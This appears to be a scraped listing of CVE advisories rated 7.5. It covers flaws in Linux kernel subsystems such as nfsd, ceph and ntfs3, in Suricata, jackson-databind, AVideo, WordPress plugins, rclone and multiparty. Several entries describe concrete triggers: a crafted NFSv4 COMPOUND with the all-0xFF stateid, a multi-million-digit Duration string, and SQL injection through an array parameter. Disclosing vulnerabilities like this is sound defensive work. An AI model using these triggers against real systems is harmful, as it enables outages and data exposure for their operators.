CVE-2026-89695	In the Linux kernel, the following vulnerability has been resolved: nfsd: cap decoded POSIX ACL count to bound sort cost nfsd4_decode_posixacl() reads a u32 entry count off the wire and passes it straight to posix_acl_alloc() and sort_pacl_range(). The latter is an O(n^2) bubble sort, so a client-chosen count drives unbounded CPU in the server's compound processing path. nfsd4_decode_posixacl() xdr_stream_decode_u32(&count) /* uncapped u32 */ posix_acl_alloc(count, GFP_KERNEL) sort_pacl_range(*acl, 0, count - 1) /* O(n^2) bubble sort */ The encoder side in the same file already rejects ACLs whose a_count exceeds NFS_ACL_MAX_ENTRIES, but the decoder introduced in commit 5fc51dfc2eb1 ("NFSD: Add support for XDR decoding POSIX draft ACLs") omitted the symmetric check. Fix by rejecting a wire count greater than NFS_ACL_MAX_ENTRIES with nfserr_inval, before any allocation, so the sort is bounded by NFS_ACL_MAX_ENTRIES^2 comparisons. While we're in here, also fix the nfserr_resource return if posix_acl_alloc() fails. That's not a legal error code for v4.1+. Change it to return nfserr_jukebox as that's more appropriate for memory allocation failures.	7.5	More Details
CVE-2026-89696	In the Linux kernel, the following vulnerability has been resolved: nfsd: block non-SAVEFH ops after FOREIGN PUTFH to prevent NULL deref When CONFIG_NFSD_V4_2_INTER_SSC is enabled, nfsd4_putfh() can return success with fh_dentry and fh_export both NULL if fh_verify() returns nfserr_stale and putfh->no_verify is true. The NFSD4_FH_FOREIGN flag is set, but the compound dispatch loop only uses this flag to bypass the nfserr_nofilehandle check -- it does not prevent subsequent ops from running with a NULL fh_dentry. A remote client can exploit this by crafting a COMPOUND that includes an inter-SSC COPY (which causes check_if_stalefh_allowed() to set no_verify=true on the saved PUTFH) with an additional op inserted between the source PUTFH and SAVEFH. For example, SETATTR calls fh_want_write() which dereferences fh_export->ex_path.mnt without calling fh_verify() first, causing a NULL pointer dereference in the nfsd kthread. Fix this by gating the dispatch loop: when NFSD4_FH_FOREIGN is set and fh_dentry is NULL, only OP_SAVEFH (needed for the inter-SSC flow) and ops with ALLOWED_WITHOUT_FH (which don't need a resolved filehandle) may proceed. All other ops receive nfserr_stale, per RFC 7862 Section 15.2.3 which specifies that foreign filehandle validation is deferred to the consuming operation and NFS4ERR_STALE returned at that point.	7.5	More Details
CVE-2026-81265	IBM Langflow OSS 1.0.0 through 1.11.5.	7.5	More Details
CVE-2026-89687	In the Linux kernel, the following vulnerability has been resolved: nfsd: ensure nfsd_file_do_acquire() does not use a non-opened file ->atomic_open is permitted to return success without actually opening the file. It indicates this by calling finish_no_open(). This means dentry_create() can return a file which hasn't been opened. This is extremely unlikely as ->atomic_open handlers typically use finish_no_open() only for already existing files, and dentry_create() isn't called in that case, and the parent being locked should prevent races. However out of an abundance of caution it seems wise to teach nfsd to only use the file returned by dentry_create() if FMODE_OPENED is set, indicating that it has in fact been opened.	7.5	More Details
CVE-2026-89685	In the Linux kernel, the following vulnerability has been resolved: nfsd: fix clock domain mismatch in clients_still_reclaiming() clients_still_reclaiming() computes a deadline from nn->boot_time (CLOCK_REALTIME, ~1.7 billion) but compares it against ktime_get_boottime_seconds() (CLOCK_BOOTTIME, seconds since boot). The comparison is always false — it would take ~54 years of uptime for BOOTTIME to exceed the REALTIME-derived deadline. This means any client can hold the server in grace indefinitely by sending CLAIM_PREVIOUS OPEN requests, blocking all non-reclaim operations for all other clients. Add boot_time_bt (CLOCK_BOOTTIME) alongside the existing boot_time and use it for the deadline computation.	7.5	More Details

	boot_time (CLOCK_REALTIME) is preserved for its cl_boot clientid-nonce role.		
CVE-2026-89699	In the Linux kernel, the following vulnerability has been resolved: nfsd: validate symlink target length in NFSv4 CREATE nfsd4_decode_create() accepts an unbounded cr_datalen from the wire for NF4LNK symlink targets, allowing a client to force a kmalloc of up to the maximum RPC payload size (several MiB) per COMPOUND op that persists until compound teardown. The VFS rejects oversized targets with ENAMETOOLONG, but the allocation has already occurred. Reject cr_datalen == 0 early with nfserr_inval and cr_datalen greater than NFS4_MAXPATHLEN (PATH_MAX) with nfserr_nametoolong to bound the allocation.	7.5	More Details
CVE-2026-77807	The AcyMailing – An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 11.0.4 via the `user[name]` Parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. Exploitation requires "Embed images" option in AcyMailing configuration being enabled.	7.5	More Details
CVE-2026-89680	In the Linux kernel, the following vulnerability has been resolved: nfsd: fix nfsd_file leak on inter-server COPY setup failure When nfsd4_setup_inter_ssc() fails, nfsd4_copy() returns nfserr_offload_denied directly, bypassing the out: label where release_copy_files() would drop the nf_dst reference taken by nfs4_preprocess_stateid_op(). Each failed inter-server COPY leaks one nfsd_file, pinning file/inode/dentry/vfsmount. Fix by setting status and jumping to out: instead of returning directly.	7.5	More Details
CVE-2026-89679	In the Linux kernel, the following vulnerability has been resolved: nfsd: fix null dereference in nfsd4_setattr for deleg timestamp attrs When a SETATTR request includes FATTR4_WORD2_TIME_DELEG_ACCESS or FATTR4_WORD2_TIME_DELEG_MODIFY in the attribute bitmap, nfsd4_setattr() sets deleg_attrs=true and calls nfs4_preprocess_stateid_op() to validate the stateid. If the client supplies the NFSv4 "one stateid" (all-0xFF bytes), check_special_stateids() returns nfs_ok without populating the output nfs4_stid pointer, because the special-stateid path in nfs4_preprocess_stateid_op() jumps to done: with s==NULL, and the "if (s)" block that would set *cstid is skipped. The local variable `st` remains NULL. Back in nfsd4_setattr(), the if (deleg_attrs) block then unconditionally dereferences st->sc_type (at offset 4 from NULL), causing a kernel oops. This is remotely triggerable by any NFSv4 client: send COMPOUND [PUTROOTFH, SETATTR(ONE_STATEID, {bmval2=FATTR4_WORD2_TIME_DELEG_ACCESS, ...})]. No authentication, delegation, or prior state is required. Fix by adding a NULL check before the dereference. A special stateid is not a delegation stateid, so the existing nfserr_bad_stateid return value is already correct; we only need to guard the pointer dereference itself.	7.5	More Details
CVE-2026-89678	In the Linux kernel, the following vulnerability has been resolved: nfsd: fix partial-write detection in nfsd_direct_write nfsd_direct_write() walks a list of write segments and, after each vfs_iocb_iter_write(), tries to detect a short write so the loop can stop before placing the next segment at a wrong file offset: host_err = vfs_iocb_iter_write(file, kiocb, &segments[i].iter); if (host_err < 0) return host_err; *cnt += host_err; if (host_err < segments[i].iter.count) break; /* partial write */ vfs_iocb_iter_write() runs the iter through ->write_iter(), which advances the iter by the number of bytes written. By the time the check runs, segments[i].iter.count is the residual, not the original request length: before write_iter: iter.count == original_len after write_iter: iter.count == original_len - host_err The condition then reduces to host_err < original_len - host_err, so the break fires only when less than half of the segment was written. Any short write completing between 50% and 99% of the segment slips through; the loop advances to the next segment with kiocb->ki_pos only bumped by the short amount, writing the next segment's payload at the wrong offset and over-reporting *cnt to the NFS client. Snapshot the segment's byte count before the write and compare host_err against that snapshot so any short write breaks the loop.	7.5	More Details
CVE-2026-86093	IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 could allow an attacker with the ability to control or impersonate a DRDA server endpoint to execute arbitrary commands on Db2 clients due to a stack-based buffer overflow that improperly copies user-controlled data into a fixed-size stack buffer without bounds checking.	7.5	More Details
CVE-2026-89704	In the Linux kernel, the following vulnerability has been resolved: nfsd: sample writeback error cursor before async COPY loop _nfsd_copy_file_range() samples dst->f_wb_err into "since" after the copy loop, then uses it to detect writeback errors via filemap_check_wb_err() once vfs_fsync_range() returns. Because the nfsd_file cache reuses a single struct file across requests targeting the same inode, a concurrent COMMIT or stable WRITE on dst advances dst->f_wb_err to the current mapping->wb_err via file_check_and_advance_wb_err() during its own vfs_fsync_range(). If that advancement lands between the writeback error appearing in mapping->wb_err and the COPY worker sampling "since", the worker captures the already-advanced cursor, errseq_check() sees cur == since and returns zero, and NFSD4_COPY_F_COMMITTED is set even though writeback failed. CB_OFFLOAD then encodes wr_stable_how = FILE_SYNC4, the client treats the copied data as durable, and the failure becomes silent data loss. Sample since once at the start of the function. The cursor then reflects state in effect before this COPY issues any writes, and filemap_check_wb_err() detects any error that occurs during the copy regardless of which thread first observes it. This matches the pattern used by nfsd_vfs_write() and nfsd4_clone_file_range().	7.5	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: NTB: ntb_transport: Reject oversized TX buffers ntb_process_tx() handles an oversized buffer by calling tx_handler() with a NULL data pointer and returning success. ntb_netdev therefore neither frees the skb in its completion callback nor takes its enqueue error path, leaking it. Reject oversized buffers in ntb_transport_tx_enqueue() before acquiring a queue entry	7.5	More Details

80987	and return -EMSGSIZE. The caller retains ownership of the buffer, and the preceding netdev patch frees the skb when enqueue returns this permanent error.		
CVE-2026-45759	Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, Suricata could repeatedly perform expensive parsing of large HTTP `Content-Disposition` headers during HTTP response body processing. Crafted HTTP traffic could cause excessive CPU usage and denial of service. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, use a rule like `alert http1 any any -> any any (sid: 1; http.request_header; content: "Content-Disposition:"; startswith; bsize: > 8192; bypass;)`.	7.5	More Details
CVE-2026-89648	In the Linux kernel, the following vulnerability has been resolved: ceph: cap delegated inode count in ceph_parse_deleg_inos() ceph_parse_deleg_inos() decodes interval sets of delegated inode numbers from an MDS create-with-delegation reply. For each set it reads a 64-bit start and a 64-bit len with ceph_decode_64_safe(), which only validates that the eight bytes are present in the message, not the value, and then loops over len while inserting entries into s_delegated_inos. len is fully attacker controlled. A malicious or compromised MDS can send one huge interval, many intervals in one reply, duplicate intervals, or repeated replies that accumulate delegated inodes on the same session. The original code bounded none of these and could spin the insert loop or grow the xarray without limit. Bound both dimensions with a single enforcement point. Track the number of delegated inodes held by each MDS session in an atomic counter and grow it only in ceph_insert_deleg_ino(), which uses atomic_add_unless() to refuse to push the count past CEPH_MAX_DELEG_INOS. Because that helper is the only place the counter grows, the per-session population can never exceed the cap, so no separate per-session pre-check is needed. The counter is decremented when async create consumes a delegated inode or when an insert fails, incremented when a delegated inode is restored, initialized with the session xarray, and reset when reconnect destroys the xarray. A per-session cap alone still lets one reply spin the insert loop on duplicate ranges without growing the counter, so also cap the aggregate interval length accepted from a single reply. Together these bound both the loop trip count per reply and the xarray population across replies. The cap is a fixed, client-chosen constant rather than a value derived from the MDS. mds_client_prealloc_inos is a userspace MDS configuration option; it is never sent to the kernel client on the wire, and a server-supplied bound could not be trusted for a defensive limit in any case. The constant is set well above that option's documented default of 1000 (a generous multiple), so legitimate refill behavior is unaffected while the CPU and xarray memory a malformed delegation stream can consume stays bounded. Impact: a malicious or compromised Ceph MDS can no longer make a client spin through an unbounded delegated-inode interval or grow one session's delegated-inode xarray without limit.	7.5	More Details
CVE-2026-89511	In the Linux kernel, the following vulnerability has been resolved: qede: Fix NULL pointer dereference in TPA fragment processing Under memory pressure, the qede driver encounters NULL pointer dereferences when processing TPA continuation fragments. Commit 8a8633978b84 ("qede: Add build_skb() support.") accidentally dropped the assignment of tpa_info->buffer.data in qede_tpa_start(). When memory pressure causes an SKB allocation failure in qede_tpa_start(), the driver sets tpa_start_fail = true and attempts to recycle the physical page later in qede_tpa_end() via qede_reuse_page(). However, because buffer.data was left uninitialized (NULL), qede_reuse_page() pushes a "ghost" BD (valid DMA mapping but NULL data pointer) back into the active Rx ring. The next time the hardware uses this ring slot, it passes a NULL page to qede_fill_frag_skb(), causing a kernel panic. Example crash from production system: BUG: unable to handle kernel NULL pointer dereference at 0x8 RIP: qede_fill_frag_skb+0x96/0x430 [qede] Call Trace: qede_rx_int+0xb06/0x1de0 qede_poll+0x2f4/0x6c0 __napi_poll+0x2d/0x130 Fix the root cause by restoring the tpa_info->buffer.data assignment in qede_tpa_start(), ensuring valid pages are correctly tracked and recycled. Additionally, update the stale comment for struct qede_agg_info::buffer to reflect its current usage.	7.5	More Details
CVE-2026-89647	In the Linux kernel, the following vulnerability has been resolved: ceph: do not repeat ceph_trim_dentries() if no progress possible ceph_cap_reclaim_work() re-queues itself for as long as ceph_trim_dentries() returns -EAGAIN, which happens whenever a lease walk exhausts its `nr_to_scan` budget. This creates a busy loop that consumes CPU without making any progress when there is nothing to reclaim: with no cap pressure (`count==0`) and every scanned lease still valid, each pass runs the full scan budget down to zero and returns `-EAGAIN`, only to be queued again immediately. The dir-lease walk made this worse. When `expire_dir_lease` is `false` (i.e. we have no intention of reclaiming dir leases), __dir_lease_check() returned `TOUCH` for every valid lease. `TOUCH` moves the dentry to the tail of the list and resets `di->time` via __dentry_dir_lease_touch(), so a walk over N valid leases pointlessly rewrote the list, refreshed the timestamps (preventing them from ever aging out) and always drained `nr_to_scan`, guaranteeing the `-EAGAIN` requeue. Fix this in three steps: - Return `KEEP` instead of `TOUCH` when `expire_dir_lease` is `false`. If we are not going to reclaim the lease, leave it in place instead of churning the list and resetting its timestamp; the walk then terminates naturally (or via `STOP` at the first fresh lease). - Only return `-EAGAIN` from the first (dentry-lease) walk when something was actually freed. A full batch that frees nothing means retrying the same list immediately is futile; fall through to the dir-lease walk instead. - After both walks, bail out with success (0) when nothing was freed and there is no cap pressure (`count==0`). There is no reason to keep retrying when we are not over the cap limit and made no progress. Under real cap pressure (`count>0`) the reclaim path is unchanged and still retries via `-EAGAIN`. Without this patch, I saw 500 ceph_trim_dentries() calls per second on our web servers. This is very visible in `/proc/lock_stat` (5 minute capture): class name con-bounces contentions waittime-min waittime-max waittime-total waittime-avg acq-bounces acquisitions holdtime-min holdtime-max holdtime-total holdtime-avg &mdsc->dentry_list_lock: 126180 128218 0.04 8063.44 15986965.20 124.69 1573354 5296812 0.04 8291.28 74164526.48 14.00 -------	7.5	More Details

	---------- &mdsc->dentry_list_lock 111736 [<000000007b11e319>] __ceph_dentry_dir_lease_touch+0x7c/0xa8 &mdsc->dentry_list_lock 2631 [<0000000050597999>] __dentry_leases_walk+0x64/0x2c8 &mdsc->dentry_list_lock 3878 [<00000000c0022f62>] __ceph_dentry_lease_touch+0x5c/0xa8 &mdsc->dentry_list_lock 9973 [<000000002f27cb6f>] __dentry_lease_unlist+0x50/0xa0 ---------- &mdsc->dentry_list_lock 123621 [<0000000050597999>] __dentry_leases_walk+0x64/0x2c8 &mdsc->dentry_list_lock 1822 [<000000007b11e319>] __ceph_dentry_dir_lease_touch+0x7c/0xa8 &mdsc->dentry_list_lock 2720 [<000000002f27cb6f>] __dentry_lease_unlist+0x50/0xa0 &mdsc->dentry_list_lock 55 [<00000000c0022f62>] __ceph_dentry_lease_touch+0x5c/0xa8 With this patch: class name con-bounces contentions waittime-min waittime-max waittime-total waittime-avg acq-bounces acquisitions holdtime-min holdtime-max holdtime-total holdtime-avg &mdsc->dentry_list_lock: 1203 1215 0.16 408.88 33082.88 27.23 4320501 7357389 0.04 500.64 1961578.00 0.27 ---------- &mdsc->dentry_list_lock 1029 [<000000003c9aea8a>] __ceph_dentry_dir_lease_touch+0x7c/0xa8 &mdsc->dentry_list_lock 1 ---truncated---		
CVE-2026-81803	Subscriber Remote Code Execution (RCE) in RepairBuddy <= 4.1224 versions.	7.5	More Details
CVE-2026-81799	Unauthenticated Broken Access Control in Return Refund and Exchange For WooCommerce <= 4.6.4 versions.	7.5	More Details
CVE-2026-81794	Unauthenticated Broken Access Control in Shirt Product Designer for WooCommerce 1.0.4 versions.	7.5	More Details
CVE-2026-81786	Unauthenticated Broken Access Control in Thank You Page Customizer for WooCommerce <= 1.2.2 versions.	7.5	More Details
CVE-2026-89250	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains an unauthenticated file read vulnerability in the getRecordedFile.php endpoint that streams recorded FLV files from the temporary directory. Attackers can request the endpoint with a known or guessed stream key to download recorded live video files without authentication or authorization checks.	7.5	More Details
CVE-2026-46387	Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, Suricata's HTTP/2 decompression path could grow the decompressed response-body buffer without an effective upper bound. A crafted HTTP/2 DATA payload using a high compression ratio, such as gzip, deflate, or brotli compressed data, could cause Suricata to allocate excessive memory while decompressing the payload. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, disable HTTP2.	7.5	More Details
CVE-2026-45747	Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to version 7.0.16, the Lua TLS certificate information helper could dereference NULL certificate fields when a Lua script requested certificate information for TLS traffic where some certificate fields were absent. Crafted TLS traffic processed by a deployment using affected Lua TLS scripting could crash Suricata, resulting in denial of service. Version 7.0.16 contains a fix. As a workaround, avoid Lua scripts that call TLS certificate information helpers on untrusted traffic (`TlsGetCertInfo` function), or update scripts to handle missing certificate fields where possible.	7.5	More Details
CVE-2026-88893	OpenPanel share lookup procedures fail to validate access controls and return password hashes and protected report definitions to unauthenticated callers. Attackers with a share link can retrieve argon2id password hashes and full report configurations including event names, filters, and breakdown dimensions for offline password cracking and business intelligence theft.	7.5	More Details
CVE-2026-71641	An issue in ZJU-FAST-Lab EGO-Planner-v2 All versions up to commit 5c99a95880401e2599638d567abc0e240396cb42 allows an attacker to cause a denial of service via thenteraction between traj_server, poscmd_2_odom, and the EGOReplanFSM emergency recovery logic	7.5	More Details
CVE-2026-80998	In the Linux kernel, the following vulnerability has been resolved: net: bnxt: ring the doorbell when SW USO exits early When a burst of packets is handed down to the driver, the driver defers the doorbell to the end by setting txr->kick_pending = 1. The normal TX path handles this, but the SW USO path can miss it if it returns early. If bnxt_sw_udp_gso_xmit runs but returns early with NETDEV_TX_BUSY and txr->kick_pending was previously set to 1, then the TX queue can stall because the driver wrote some BDs but never wrote the doorbell. The device won't know to do the TX which would generate the completion that would wake the queue back up. Simplify bnxt_sw_udp_gso_xmit to set txr->kick_pending in its success case and check the flag on return. The added check after bnxt_sw_udp_gso_xmit returns ensures that any pending doorbells are written handling both successful USO and any early returns, which prevents the TX queue stall mentioned above. This TX queue stall was observed on a production system with a netdev TX watchdog informing about the queue stall.	7.5	More Details
CVE-	When XML batch processing is turned on and the XPath option is selected, the raw batch input goes through		

2026-82578	a default XPath/JAXP setup with no entity restrictions, so XXE injection can allow data exfiltration and denial-of-service attacks.	7.5	More Details
CVE-2026-88876	AVideo through revision c3edcc274c389816d434acadac07ee78eaf330c1 contains a missing authorization vulnerability in plugin/PlayerSkins/seo.php that allows unauthenticated attackers to access password-protected video sources by calling getSources() without password validation. Attackers can request the seo.php endpoint with a video ID to obtain the direct MP4 URL and read protected media bytes without supplying the configured password.	7.5	More Details
CVE-2026-88874	AVideo through revision c3edcc274c389816d434acadac07ee78eaf330c1 (master, 2026-08-23) does not enforce the Live stream password check on the stats endpoint or on the HLS origin. Live::_getStats() (plugin/Live/Live.php) returns a password-protected transmission's RTMP stream key, its isPasswordProtected flag, and its HLS (m3u8) URL to unauthenticated callers, in both the public applications list and the hidden_applications branch used when canSeeLiveFromLiveKey() fails. Separately, the shipped NGINX configuration (deploy/nginx/nginx.conf) serves the .m3u8 playlist, the AES-128 key, and the transport-stream segments from the /live location without any auth_request (the auth_key_check directive in the .key location is commented out). A remote, unauthenticated attacker can therefore retrieve the stream key and decryption key and watch a password-protected live transmission without supplying the configured password. No patched version was available at the time of the advisory.	7.5	More Details
CVE-2026-68497	jackson-databind binds a JSON string to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) or newXMLGregorianCalendar(value) in CoreXMLDeserializers.Std._deserialize. These deserializers are registered by default with no opt-in, so a plain ObjectMapper or JsonMapper with no polymorphic typing and no special configuration reaches this path. The XML Schema lexical grammar permits numeric components of arbitrary length, which the JDK materializes through the native BigInteger(String) and BigDecimal(String) constructors, both quadratic in digit count. Because the digits sit inside a JSON string token rather than a JSON number token, jackson-core's StreamReadConstraints.maxNumberLength guard never applies; jackson's own NumberDeserializers call validateIntegerLength or validateFPLength before parsing a stringified number, but the XML datatype deserializer omits that pre-check. An unauthenticated attacker can therefore submit a single request of a few megabytes, such as a Duration value consisting of the letter P followed by several million digits and the letter Y, and force tens of seconds to several minutes of single-threaded CPU work; a handful of concurrent requests can saturate a server's worker threads. This affects com.fasterxml.jackson.core:jackson-databind from 2.0.0 before 2.18.10, from 2.19.0 before 2.21.6, and from 2.22.0 before 2.22.2, and tools.jackson.core:jackson-databind from 3.0.0 before 3.1.6 and from 3.2.0 before 3.2.2. Users should upgrade to 2.18.10, 2.21.6, 2.22.2, 3.1.6, or 3.2.2.	7.5	More Details
CVE-2026-75584	ION-DTN before 4.2.1-a.1 contains a denial of service vulnerability that allows unauthenticated remote attackers to crash the ION process by sending a BPv7 bundle with a zero-length payload. The canonicalizePayloadBlock() function in bpsec_util.c passes bundle->payload.length to zco_clone() without validating it against zero, causing a failed CHKZERO assertion that triggers sm_Abort() and terminates the process with SIGABRT before any HMAC verification occurs, requiring no valid key or credential to exploit.	7.5	More Details
CVE-2026-81804	Unauthenticated Sensitive Data Exposure in ZHBackup – Backup, Restore & Migration <= 2.4.2 versions.	7.5	More Details
CVE-2026-89483	In the Linux kernel, the following vulnerability has been resolved: nvme: zero the discard fallback page nvme_setup_discard() always maps sizeof(struct nvme_dsm_range) * NVME_DSM_MAX_RANGES = 4096 bytes as the DSM payload however many ranges the command declares, because some devices ignore the 'Number of Ranges' field - the Fixes: commit records two that read past the declared ranges. A single-range discard fills only the first 16 bytes. Normally the buffer comes from kzalloc() and the other 4080 bytes are zero. When that allocation fails the code falls back to the per-controller ctrl->discard_page, which nvme_init_ctrl() obtains with alloc_page(GFP_KERNEL) and nothing ever zeroes, so those 4080 bytes are whatever the page last held and are handed to the controller. Reaching it requires the kzalloc(GFP_ATOMIC | __GFP_NOWARN) to fail, that is memory pressure; it is not remotely triggerable. Failing the allocation under KMSAN reproduces it, with the leaked tail full of vmemmap struct page pointers. The extent in the report is a partial transfer of the payload, not the whole 4096 bytes; the 16-byte boundary in it is the one declared range: [11.991601] BUG: KMSAN: uninit-value in dma_map_phys+0x14c8/0x1900 [11.991969] dma_map_phys+0x14c8/0x1900 [11.992220] dma_map_page_attrs+0xcf/0x130 [11.992485] e1000_xmit_frame+0x4099/0x6d10 [11.992768] dev_hard_start_xmit+0x22f/0xa80 [11.993068] sch_direct_xmit+0x35c/0xcb0 [11.993315] __dev_queue_xmit+0x1ee5/0x5eb0 [11.993608] ip_finish_output2+0x1903/0x1c30 [11.993881] ip_finish_output+0x288/0x870 [11.994125] ip_output+0x15e/0x400 [11.994365] __ip_queue_xmit+0x1e85/0x1fb0 [11.994639] ip_queue_xmit+0x60/0x80 [11.994899] __tcp_transmit_skb+0x4e71/0x5fa0 [11.995210] tcp_write_xmit+0x3a36/0x9160 [11.995533] __tcp_push_pending_frames+0xc5/0x3c0 [11.995854] tcp_push+0x7dc/0x840 [11.996076] tcp_sendmsg_locked+0x766c/0x8400 [11.996371] tcp_sendmsg+0x4b/0x90 [11.996572] inet_sendmsg+0x134/0x2a0 [11.996823] __sock_sendmsg+0x265/0x360 [11.997076] sock_sendmsg+0x100/0x1e0 [11.997293] nvme_tcp_try_send+0x196f/0x6370 [11.997605] nvme_tcp_queue_rq+0x1d54/0x20b0 [11.997882]	7.5	More Details

	blk_mq_dispatch_rq_list+0x5ee/0x2e50 [11.998175] __blk_mq_sched_dispatch_requests+0x16dc/0x24a0 [11.998539] blk_mq_sched_dispatch_requests+0x11b/0x2c0 [11.998865] blk_mq_run_work_fn+0x13b/0x280 [11.999146] process_scheduled_works+0x966/0x1ad0 [11.999465] worker_thread+0xe44/0x1480 [11.999709] kthread+0x53b/0x600 [11.999927] ret_from_fork+0x29f/0x7c0 [12.000191] ret_from_fork_asm+0x1a/0x30 [12.000460] [12.000558] Uninit was created at: [12.000788] __alloc_frozen_pages_noprof+0x8bf/0xd30 [12.001096] alloc_pages_mpol+0x1d0/0x5f0 [12.001326] alloc_pages_noprof+0x102/0x290 [12.001627] nvme_init_ctrl+0x5a3/0x9f0 [12.001891] nvme_tcp_create_ctrl+0xd75/0x19b0 [12.002170] nvmf_dev_write+0x4c68/0x4fd0 [12.002426] vfs_write+0x587/0x1a10 [12.002636] __x64_sys_write+0x207/0x4f0 [12.002874] x64_sys_call+0x2ff0/0x3ea0 [12.003123] do_syscall_64+0x147/0x3b0 [12.003400] entry_SYSCALL_64_after_hwframe+0x77/0x7f [12.003680] [12.003777] Bytes 16-2843 of 2844 are uninitialized [12.004068] Memory access of size 2844 starts at ffff888109f82000 [12.004412] [12.004530] CPU: 0 UID: 0 PID: 101 Comm: kworker/0:1H Not tainted 7.2.0-rc5-NVMECTL-gf5098b6bae76 #1 PREEMPT(lazy) [12.005127] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [12.005762] Workqueue: kblockd blk_mq_run_work_fn [12.006073] ========== Allocate the page with __GFP_ZERO. The single allocation site covers every use of it: bytes no discard has written stay zero, and bytes one did write hold that controller's own range list, which it has already been sent.		
CVE-2026-84821	Unauthenticated Broken Access Control in WP Fast Total Search <= 1.82.284 versions.	7.5	More Details
CVE-2026-89616	In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: fix info-leak on partial LZNT decompress in ni_read_frame() ni_read_frame() decompresses an LZNT $DATA frame into the vmapped target pages and then trusts decompress_lznt()'s return value: unc_size = decompress_lznt(frame_ondisk, ondisk_size, frame_mem, frame_size); if ((ssize_t)unc_size < 0) err = unc_size; else if (!unc_size || unc_size > frame_size) err = -EINVAL; decompress_lznt() stops as soon as the compressed stream is exhausted (e.g. a zero chunk header) and returns the number of bytes it actually wrote, which may be far less than frame_size. The bytes between unc_size and frame_size are never written. The only memset() that follows zeroes the region beyond i_valid; when the frame lies entirely within the file's valid size that memset() does not run, so the gap retains whatever was in the just-vmapped pages. All pages are then marked uptodate and returned to userspace, disclosing uninitialized (recently-freed) kernel page memory. A crafted compressed file whose stream decompresses to only a few bytes leaks the remainder of every frame on a plain read(2), which is enough to recover kernel pointers and defeat KASLR. Zero the [unc_size, frame_size) tail immediately after a successful LZNT decompress so the remainder reads back as zero.	7.5	More Details
CVE-2026-90535	Flowise versions before 3.1.4 contain an unauthenticated denial of service vulnerability in the /api/v1/text-to-speech/abort endpoint that accepts user-supplied chatflowId and chatId without ownership verification. Attackers can terminate active chatflow predictions for any user by submitting requests with known chatflow and chat identifiers, causing targeted service disruption.	7.5	More Details
CVE-2026-18561	The Unlimited Elements For Elementor plugin for WordPress is vulnerable to SQL Injection via the 'addontype' parameter in versions up to, and including, 2.0.16. This is due to insufficient escaping on the user-supplied parameter and the lack of sufficient preparation on the existing SQL query in the getWhereString() function; when the parameter is supplied as an array, element zero is used verbatim as the SQL comparison operator and concatenated into the WHERE clause without sanitization, while normalizeAjaxInputData() strips WordPress's magic_quotes protection from the value. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	7.5	More Details
CVE-2026-89707	In the Linux kernel, the following vulnerability has been resolved: nfsd: release path refs on follow_down() error nfsd_cross_mnt() initializes a local struct path with mntget() and dget() before calling follow_down(). On a negative return the error arm jumps to out without releasing those references: err = follow_down(&path, follow_flags); if (err < 0) goto out; follow_down() never drops the caller's entry-time refs on any error sub-case; for example a pre-cross d_manage() failure leaves path untouched, so the mntget()/dget() taken on entry survive the call. Every other early-exit arm in nfsd_cross_mnt() (other-namespace return, IS_ERR(exp2), and the success tail after the swap) already calls path_put(&path); the err < 0 arm is the lone omission. The leak inflates mnt_count and d_count on each failed cross-mount, blocking umount and pinning dentries against the shrinker, and is reachable by any authenticated NFS client through nfsd_lookup_dentry or the NFSv4 READDIR encode path. Fix by calling path_put(&path) before the goto out in the err < 0 arm so the entry-time refs are released on all follow_down() error returns.	7.5	More Details
CVE-2026-73785	A potential security vulnerability in HPE IceWall Federation Agent and Proxy could allow a remote unauthenticated attacker to cause a denial of service (DoS).	7.5	More Details
CVE-2026-	multiparty is a Node.js library for parsing multipart/form-data request bodies. In versions from 2.1.0 up to but not including 4.3.1, the parser does not bound the amount of memory used while accumulating the headers of a single multipart part. An unauthenticated attacker can send a single request whose part carries a very large volume of header bytes, forcing the parser to buffer all of them and exhausting the process memory,	7.5	More Details

87908	which crashes the server. This is a denial of service with no confidentiality or integrity impact. The issue is fixed in multiparty 4.3.1, which caps the size of the accumulated part headers. Users should upgrade to multiparty 4.3.1 or later.		
CVE-2026-89174	Smart Video Intercom System developed by Kingdom Communication Associated has a Missing Brute-force Protection vulnerability. Unauthenticated remote attackers can gain access to valid accounts through a large number of login attempts.	7.5	More Details
CVE-2026-88045	rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.75.0 until 1.75.1, the serve S3 streamed multipart path in cmd/serve/s3/multipart.go passes attacker-controlled contentLength to multipart.NewRW().Reserve before reading request-body bytes. waitForTurn admits the current part and one oversized part when the buffer is empty despite --multipart-streaming-buffer-limit, and lib/pool allocates 1 MiB pages according to Content-Length or X-Amz-Decoded-Content-Length. A network client can retain or multiply these reservations without sending the declared body, exhausting process or host memory or permanently blocking request handlers. Anonymous S3 deployments require no credentials, while deployments using auth_key require an accepted S3 key. This issue is fixed in version 1.75.1.	7.5	More Details
